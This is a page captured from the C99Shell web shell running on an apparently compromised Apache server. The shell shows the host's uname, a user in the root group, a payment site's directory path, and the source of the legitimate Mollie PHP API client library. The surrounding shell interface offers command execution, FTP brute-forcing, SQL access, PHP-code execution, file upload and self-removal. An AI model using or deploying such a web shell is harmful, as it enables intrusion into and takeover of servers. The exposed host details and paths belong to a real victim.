!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/mollie/mollie-api-php/src/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MollieApiClient.php (20.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mollie\Api;

use 
Mollie\Api\Endpoints\BalanceEndpoint;
use 
Mollie\Api\Endpoints\BalanceReportEndpoint;
use 
Mollie\Api\Endpoints\BalanceTransactionEndpoint;
use 
Mollie\Api\Endpoints\ChargebackEndpoint;
use 
Mollie\Api\Endpoints\ClientEndpoint;
use 
Mollie\Api\Endpoints\ClientLinkEndpoint;
use 
Mollie\Api\Endpoints\CustomerEndpoint;
use 
Mollie\Api\Endpoints\CustomerPaymentsEndpoint;
use 
Mollie\Api\Endpoints\InvoiceEndpoint;
use 
Mollie\Api\Endpoints\MandateEndpoint;
use 
Mollie\Api\Endpoints\MethodEndpoint;
use 
Mollie\Api\Endpoints\OnboardingEndpoint;
use 
Mollie\Api\Endpoints\OrderEndpoint;
use 
Mollie\Api\Endpoints\OrderLineEndpoint;
use 
Mollie\Api\Endpoints\OrderPaymentEndpoint;
use 
Mollie\Api\Endpoints\OrderRefundEndpoint;
use 
Mollie\Api\Endpoints\OrganizationEndpoint;
use 
Mollie\Api\Endpoints\OrganizationPartnerEndpoint;
use 
Mollie\Api\Endpoints\PaymentCaptureEndpoint;
use 
Mollie\Api\Endpoints\PaymentChargebackEndpoint;
use 
Mollie\Api\Endpoints\PaymentEndpoint;
use 
Mollie\Api\Endpoints\PaymentLinkEndpoint;
use 
Mollie\Api\Endpoints\PaymentRefundEndpoint;
use 
Mollie\Api\Endpoints\PaymentRouteEndpoint;
use 
Mollie\Api\Endpoints\PermissionEndpoint;
use 
Mollie\Api\Endpoints\ProfileEndpoint;
use 
Mollie\Api\Endpoints\ProfileMethodEndpoint;
use 
Mollie\Api\Endpoints\RefundEndpoint;
use 
Mollie\Api\Endpoints\SettlementCaptureEndpoint;
use 
Mollie\Api\Endpoints\SettlementChargebackEndpoint;
use 
Mollie\Api\Endpoints\SettlementPaymentEndpoint;
use 
Mollie\Api\Endpoints\SettlementRefundEndpoint;
use 
Mollie\Api\Endpoints\SettlementsEndpoint;
use 
Mollie\Api\Endpoints\ShipmentEndpoint;
use 
Mollie\Api\Endpoints\SubscriptionEndpoint;
use 
Mollie\Api\Endpoints\TerminalEndpoint;
use 
Mollie\Api\Endpoints\WalletEndpoint;
use 
Mollie\Api\Exceptions\ApiException;
use 
Mollie\Api\Exceptions\HttpAdapterDoesNotSupportDebuggingException;
use 
Mollie\Api\Exceptions\IncompatiblePlatform;
use 
Mollie\Api\HttpAdapter\MollieHttpAdapterPicker;
use 
Mollie\Api\Idempotency\DefaultIdempotencyKeyGenerator;

class 
MollieApiClient
{
    
/**
     * Version of our client.
     */
    
public const CLIENT_VERSION "2.65.0";

    
/**
     * Endpoint of the remote API.
     */
    
public const API_ENDPOINT "https://api.mollie.com";

    
/**
     * Version of the remote API.
     */
    
public const API_VERSION "v2";

    
/**
     * HTTP Methods
     */
    
public const HTTP_GET "GET";
    public const 
HTTP_POST "POST";
    public const 
HTTP_DELETE "DELETE";
    public const 
HTTP_PATCH "PATCH";

    
/**
     * @var \Mollie\Api\HttpAdapter\MollieHttpAdapterInterface
     */
    
protected $httpClient;

    
/**
     * @var string
     */
    
protected $apiEndpoint self::API_ENDPOINT;

    
/**
     * RESTful Payments resource.
     *
     * @var PaymentEndpoint
     */
    
public $payments;

    
/**
     * RESTful Methods resource.
     *
     * @var MethodEndpoint
     */
    
public $methods;

    
/**
     * @var ProfileMethodEndpoint
     */
    
public $profileMethods;

    
/**
     * RESTful Customers resource.
     *
     * @var CustomerEndpoint
     */
    
public $customers;

    
/**
     * RESTful Customer payments resource.
     *
     * @var CustomerPaymentsEndpoint
     */
    
public $customerPayments;

    
/**
     * RESTful Settlement resource.
     *
     * @var SettlementsEndpoint
     */
    
public $settlements;

    
/**
     * RESTful Settlement capture resource.
     *
     * @var \Mollie\Api\Endpoints\SettlementCaptureEndpoint
     */
    
public $settlementCaptures;

    
/**
     * RESTful Settlement chargeback resource.
     *
     * @var \Mollie\Api\Endpoints\SettlementChargebackEndpoint
     */
    
public $settlementChargebacks;

    
/**
     * RESTful Settlement payment resource.
     *
     * @var \Mollie\Api\Endpoints\SettlementPaymentEndpoint
     */
    
public $settlementPayments;

    
/**
     * RESTful Settlement refund resource.
     *
     * @var \Mollie\Api\Endpoints\SettlementRefundEndpoint
     */
    
public $settlementRefunds;

    
/**
     * RESTful Subscription resource.
     *
     * @var SubscriptionEndpoint
     */
    
public $subscriptions;

    
/**
     * RESTful Mandate resource.
     *
     * @var MandateEndpoint
     */
    
public $mandates;

    
/**
     * RESTful Profile resource.
     *
     * @var ProfileEndpoint
     */
    
public $profiles;

    
/**
     * RESTful Organization resource.
     *
     * @var OrganizationEndpoint
     */
    
public $organizations;

    
/**
     * RESTful Permission resource.
     *
     * @var PermissionEndpoint
     */
    
public $permissions;

    
/**
     * RESTful Invoice resource.
     *
     * @var InvoiceEndpoint
     */
    
public $invoices;

    
/**
     * RESTful Balance resource.
     *
     * @var BalanceEndpoint
     */
    
public $balances;

    
/**
     * @var BalanceTransactionEndpoint
     */
    
public $balanceTransactions;

    
/**
     * @var BalanceReportEndpoint
     */
    
public $balanceReports;

    
/**
     * RESTful Onboarding resource.
     *
     * @var OnboardingEndpoint
     */
    
public $onboarding;

    
/**
     * RESTful Order resource.
     *
     * @var OrderEndpoint
     */
    
public $orders;

    
/**
     * RESTful OrderLine resource.
     *
     * @var OrderLineEndpoint
     */
    
public $orderLines;

    
/**
     * RESTful OrderPayment resource.
     *
     * @var OrderPaymentEndpoint
     */
    
public $orderPayments;

    
/**
     * RESTful Shipment resource.
     *
     * @var ShipmentEndpoint
     */
    
public $shipments;

    
/**
     * RESTful Refunds resource.
     *
     * @var RefundEndpoint
     */
    
public $refunds;

    
/**
     * RESTful Payment Refunds resource.
     *
     * @var PaymentRefundEndpoint
     */
    
public $paymentRefunds;

    
/**
     * RESTful Payment Route resource.
     *
     * @var PaymentRouteEndpoint
     */
    
public $paymentRoutes;

    
/**
     * RESTful Payment Captures resource.
     *
     * @var PaymentCaptureEndpoint
     */
    
public $paymentCaptures;

    
/**
     * RESTful Chargebacks resource.
     *
     * @var ChargebackEndpoint
     */
    
public $chargebacks;

    
/**
     * RESTful Payment Chargebacks resource.
     *
     * @var PaymentChargebackEndpoint
     */
    
public $paymentChargebacks;

    
/**
     * RESTful Order Refunds resource.
     *
     * @var OrderRefundEndpoint
     */
    
public $orderRefunds;

    
/**
     * Manages Payment Links requests
     *
     * @var PaymentLinkEndpoint
     */
    
public $paymentLinks;

    
/**
     * RESTful Terminal resource.
     *
     * @var TerminalEndpoint
     */
    
public $terminals;

    
/**
     * RESTful Onboarding resource.
     *
     * @var OrganizationPartnerEndpoint
     */
    
public $organizationPartners;

    
/**
     * Manages Wallet requests
     *
     * @var WalletEndpoint
     */
    
public $wallets;

    
/**
     * @var string
     */
    
protected $apiKey;

    
/**
     * True if an OAuth access token is set as API key.
     *
     * @var bool
     */
    
protected $oauthAccess;

    
/**
     * A unique string ensuring a request to a mutating Mollie endpoint is processed only once.
     * This key resets to null after each request.
     *
     * @var string|null
     */
    
protected $idempotencyKey null;

    
/**
     * @var \Mollie\Api\Idempotency\IdempotencyKeyGeneratorContract|null
     */
    
protected $idempotencyKeyGenerator;

    
/**
     * @var array
     */
    
protected $versionStrings = [];

    
/**
     * RESTful Client resource.
     *
     * @var ClientEndpoint
     */
    
public $clients;

    
/**
     * RESTful Client resource.
     *
     * @var ClientLinkEndpoint
     */
    
public $clientLinks;

    
/**
     * @param \GuzzleHttp\ClientInterface|\Mollie\Api\HttpAdapter\MollieHttpAdapterInterface|null $httpClient
     * @param \Mollie\Api\HttpAdapter\MollieHttpAdapterPickerInterface|null $httpAdapterPicker,
     * @param \Mollie\Api\Idempotency\IdempotencyKeyGeneratorContract $idempotencyKeyGenerator,
     * @throws \Mollie\Api\Exceptions\IncompatiblePlatform|\Mollie\Api\Exceptions\UnrecognizedClientException
     */
    
public function __construct($httpClient null$httpAdapterPicker null$idempotencyKeyGenerator null)
    {
        
$httpAdapterPicker $httpAdapterPicker ?: new MollieHttpAdapterPicker;
        
$this->httpClient $httpAdapterPicker->pickHttpAdapter($httpClient);

        
$compatibilityChecker = new CompatibilityChecker;
        
$compatibilityChecker->checkCompatibility();

        
$this->initializeEndpoints();
        
$this->initializeVersionStrings();
        
$this->initializeIdempotencyKeyGenerator($idempotencyKeyGenerator);
    }

    public function 
initializeEndpoints()
    {
        
$this->payments = new PaymentEndpoint($this);
        
$this->methods = new MethodEndpoint($this);
        
$this->profileMethods = new ProfileMethodEndpoint($this);
        
$this->customers = new CustomerEndpoint($this);
        
$this->settlements = new SettlementsEndpoint($this);
        
$this->settlementCaptures = new SettlementCaptureEndpoint($this);
        
$this->settlementChargebacks = new SettlementChargebackEndpoint($this);
        
$this->settlementPayments = new SettlementPaymentEndpoint($this);
        
$this->settlementRefunds = new SettlementRefundEndpoint($this);
        
$this->subscriptions = new SubscriptionEndpoint($this);
        
$this->customerPayments = new CustomerPaymentsEndpoint($this);
        
$this->mandates = new MandateEndpoint($this);
        
$this->balances = new BalanceEndpoint($this);
        
$this->balanceTransactions = new BalanceTransactionEndpoint($this);
        
$this->balanceReports = new BalanceReportEndpoint($this);
        
$this->invoices = new InvoiceEndpoint($this);
        
$this->permissions = new PermissionEndpoint($this);
        
$this->profiles = new ProfileEndpoint($this);
        
$this->onboarding = new OnboardingEndpoint($this);
        
$this->organizations = new OrganizationEndpoint($this);
        
$this->orders = new OrderEndpoint($this);
        
$this->orderLines = new OrderLineEndpoint($this);
        
$this->orderPayments = new OrderPaymentEndpoint($this);
        
$this->orderRefunds = new OrderRefundEndpoint($this);
        
$this->shipments = new ShipmentEndpoint($this);
        
$this->refunds = new RefundEndpoint($this);
        
$this->paymentRefunds = new PaymentRefundEndpoint($this);
        
$this->paymentCaptures = new PaymentCaptureEndpoint($this);
        
$this->paymentRoutes = new PaymentRouteEndpoint($this);
        
$this->chargebacks = new ChargebackEndpoint($this);
        
$this->paymentChargebacks = new PaymentChargebackEndpoint($this);
        
$this->wallets = new WalletEndpoint($this);
        
$this->paymentLinks = new PaymentLinkEndpoint($this);
        
$this->terminals = new TerminalEndpoint($this);
        
$this->organizationPartners = new OrganizationPartnerEndpoint($this);
        
$this->clients = new ClientEndpoint($this);
        
$this->clientLinks = new ClientLinkEndpoint($this);
    }

    protected function 
initializeVersionStrings()
    {
        
$this->addVersionString("Mollie/" self::CLIENT_VERSION);
        
$this->addVersionString("PHP/" phpversion());

        
$httpClientVersionString $this->httpClient->versionString();
        if (
$httpClientVersionString) {
            
$this->addVersionString($httpClientVersionString);
        }
    }

    
/**
     * @param \Mollie\Api\Idempotency\IdempotencyKeyGeneratorContract $generator
     * @return void
     */
    
protected function initializeIdempotencyKeyGenerator($generator)
    {
        
$this->idempotencyKeyGenerator $generator $generator : new DefaultIdempotencyKeyGenerator;
    }

    
/**
     * @param string $url
     *
     * @return MollieApiClient
     */
    
public function setApiEndpoint($url)
    {
        
$this->apiEndpoint rtrim(trim($url), '/');

        return 
$this;
    }

    
/**
     * @return string
     */
    
public function getApiEndpoint()
    {
        return 
$this->apiEndpoint;
    }

    
/**
     * @return array
     */
    
public function getVersionStrings()
    {
        return 
$this->versionStrings;
    }

    
/**
     * @param string $apiKey The Mollie API key, starting with 'test_' or 'live_'
     *
     * @return MollieApiClient
     * @throws ApiException
     */
    
public function setApiKey($apiKey)
    {
        
$apiKey trim($apiKey);

        if (! 
preg_match('/^(live|test)_\w{30,}$/'$apiKey)) {
            throw new 
ApiException("Invalid API key: '{$apiKey}'. An API key must start with 'test_' or 'live_' and must be at least 30 characters long.");
        }

        
$this->apiKey $apiKey;
        
$this->oauthAccess false;

        return 
$this;
    }

    
/**
     * @param string $accessToken OAuth access token, starting with 'access_'
     *
     * @return MollieApiClient
     * @throws ApiException
     */
    
public function setAccessToken($accessToken)
    {
        
$accessToken trim($accessToken);

        if (! 
preg_match('/^access_\w+$/'$accessToken)) {
            throw new 
ApiException("Invalid OAuth access token: '{$accessToken}'. An access token must start with 'access_'.");
        }

        
$this->apiKey $accessToken;
        
$this->oauthAccess true;

        return 
$this;
    }

    
/**
     * Returns null if no API key has been set yet.
     *
     * @return bool|null
     */
    
public function usesOAuth()
    {
        return 
$this->oauthAccess;
    }

    
/**
     * @param string $versionString
     *
     * @return MollieApiClient
     */
    
public function addVersionString($versionString)
    {
        
$this->versionStrings[] = str_replace([" ""\t""\n""\r"], '-'$versionString);

        return 
$this;
    }

    
/**
     * Enable debugging mode. If debugging mode is enabled, the attempted request will be included in the ApiException.
     * By default, debugging is disabled to prevent leaking sensitive request data into exception logs.
     *
     * @throws \Mollie\Api\Exceptions\HttpAdapterDoesNotSupportDebuggingException
     */
    
public function enableDebugging()
    {
        if (
            ! 
method_exists($this->httpClient'supportsDebugging')
            || ! 
$this->httpClient->supportsDebugging()
        ) {
            throw new 
HttpAdapterDoesNotSupportDebuggingException(
                
"Debugging is not supported by " get_class($this->httpClient) . "."
            
);
        }

        
$this->httpClient->enableDebugging();
    }

    
/**
     * Disable debugging mode. If debugging mode is enabled, the attempted request will be included in the ApiException.
     * By default, debugging is disabled to prevent leaking sensitive request data into exception logs.
     *
     * @throws \Mollie\Api\Exceptions\HttpAdapterDoesNotSupportDebuggingException
     */
    
public function disableDebugging()
    {
        if (
            ! 
method_exists($this->httpClient'supportsDebugging')
            || ! 
$this->httpClient->supportsDebugging()
        ) {
            throw new 
HttpAdapterDoesNotSupportDebuggingException(
                
"Debugging is not supported by " get_class($this->httpClient) . "."
            
);
        }

        
$this->httpClient->disableDebugging();
    }

    
/**
     * Set the idempotency key used on the next request. The idempotency key is a unique string ensuring a request to a
     * mutating Mollie endpoint is processed only once. The idempotency key resets to null after each request. Using
     * the setIdempotencyKey method supersedes the IdempotencyKeyGenerator.
     *
     * @param $key
     * @return $this
     */
    
public function setIdempotencyKey($key)
    {
        
$this->idempotencyKey $key;

        return 
$this;
    }

    
/**
     * Retrieve the idempotency key. The idempotency key is a unique string ensuring a request to a
     * mutating Mollie endpoint is processed only once. Note that the idempotency key gets reset to null after each
     * request.
     *
     * @return string|null
     */
    
public function getIdempotencyKey()
    {
        return 
$this->idempotencyKey;
    }

    
/**
     * Reset the idempotency key. Note that the idempotency key automatically resets to null after each request.
     * @return $this
     */
    
public function resetIdempotencyKey()
    {
        
$this->idempotencyKey null;

        return 
$this;
    }

    
/**
     * @param \Mollie\Api\Idempotency\IdempotencyKeyGeneratorContract $generator
     * @return \Mollie\Api\MollieApiClient
     */
    
public function setIdempotencyKeyGenerator($generator)
    {
        
$this->idempotencyKeyGenerator $generator;

        return 
$this;
    }

    
/**
     * @return \Mollie\Api\MollieApiClient
     */
    
public function clearIdempotencyKeyGenerator()
    {
        
$this->idempotencyKeyGenerator null;

        return 
$this;
    }

    
/**
     * Perform a http call. This method is used by the resource specific classes. Please use the $payments property to
     * perform operations on payments.
     *
     * @param string $httpMethod
     * @param string $apiMethod
     * @param string|null $httpBody
     *
     * @return \stdClass
     * @throws ApiException
     *
     * @codeCoverageIgnore
     */
    
public function performHttpCall($httpMethod$apiMethod$httpBody null)
    {
        
$url $this->apiEndpoint "/" self::API_VERSION "/" $apiMethod;

        return 
$this->performHttpCallToFullUrl($httpMethod$url$httpBody);
    }

    
/**
     * Perform a http call to a full url. This method is used by the resource specific classes.
     *
     * @see $payments
     * @see $isuers
     *
     * @param string $httpMethod
     * @param string $url
     * @param string|null $httpBody
     *
     * @return \stdClass|null
     * @throws ApiException
     *
     * @codeCoverageIgnore
     */
    
public function performHttpCallToFullUrl($httpMethod$url$httpBody null)
    {
        if (empty(
$this->apiKey)) {
            throw new 
ApiException("You have not set an API key or OAuth access token. Please use setApiKey() to set the API key.");
        }

        
$userAgent implode(' '$this->versionStrings);

        if (
$this->usesOAuth()) {
            
$userAgent .= " OAuth/2.0";
        }

        
$headers = [
            
'Accept' => "application/json",
            
'Authorization' => "Bearer {$this->apiKey}",
            
'User-Agent' => $userAgent,
        ];

        if (
$httpBody !== null) {
            
$headers['Content-Type'] = "application/json";
        }

        if (
function_exists("php_uname")) {
            
$headers['X-Mollie-Client-Info'] = php_uname();
        }

        
$headers $this->applyIdempotencyKey($headers$httpMethod);

        
$response $this->httpClient->send($httpMethod$url$headers$httpBody);

        
$this->resetIdempotencyKey();

        return 
$response;
    }

    
/**
     * Conditionally apply the idempotency key to the request headers
     *
     * @param array $headers
     * @param string $httpMethod
     * @return array
     */
    
private function applyIdempotencyKey(array $headersstring $httpMethod)
    {
        if (! 
in_array($httpMethod, [self::HTTP_POSTself::HTTP_PATCHself::HTTP_DELETE])) {
            unset(
$headers['Idempotency-Key']);

            return 
$headers;
        }

        if (
$this->idempotencyKey) {
            
$headers['Idempotency-Key'] = $this->idempotencyKey;

            return 
$headers;
        }

        if (
$this->idempotencyKeyGenerator) {
            
$headers['Idempotency-Key'] = $this->idempotencyKeyGenerator->generate();

            return 
$headers;
        }

        unset(
$headers['Idempotency-Key']);

        return 
$headers;
    }

    
/**
     * Serialization can be used for caching. Of course doing so can be dangerous but some like to live dangerously.
     *
     * \serialize() should be called on the collections or object you want to cache.
     *
     * We don't need any property that can be set by the constructor, only properties that are set by setters.
     *
     * Note that the API key is not serialized, so you need to set the key again after unserializing if you want to do
     * more API calls.
     *
     * @deprecated
     * @return string[]
     */
    
public function __sleep()
    {
        return [
"apiEndpoint"];
    }

    
/**
     * When unserializing a collection or a resource, this class should restore itself.
     *
     * Note that if you have set an HttpAdapter, this adapter is lost on wakeup and reset to the default one.
     *
     * @throws IncompatiblePlatform If suddenly unserialized on an incompatible platform.
     */
    
public function __wakeup()
    {
        
$this->__construct();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--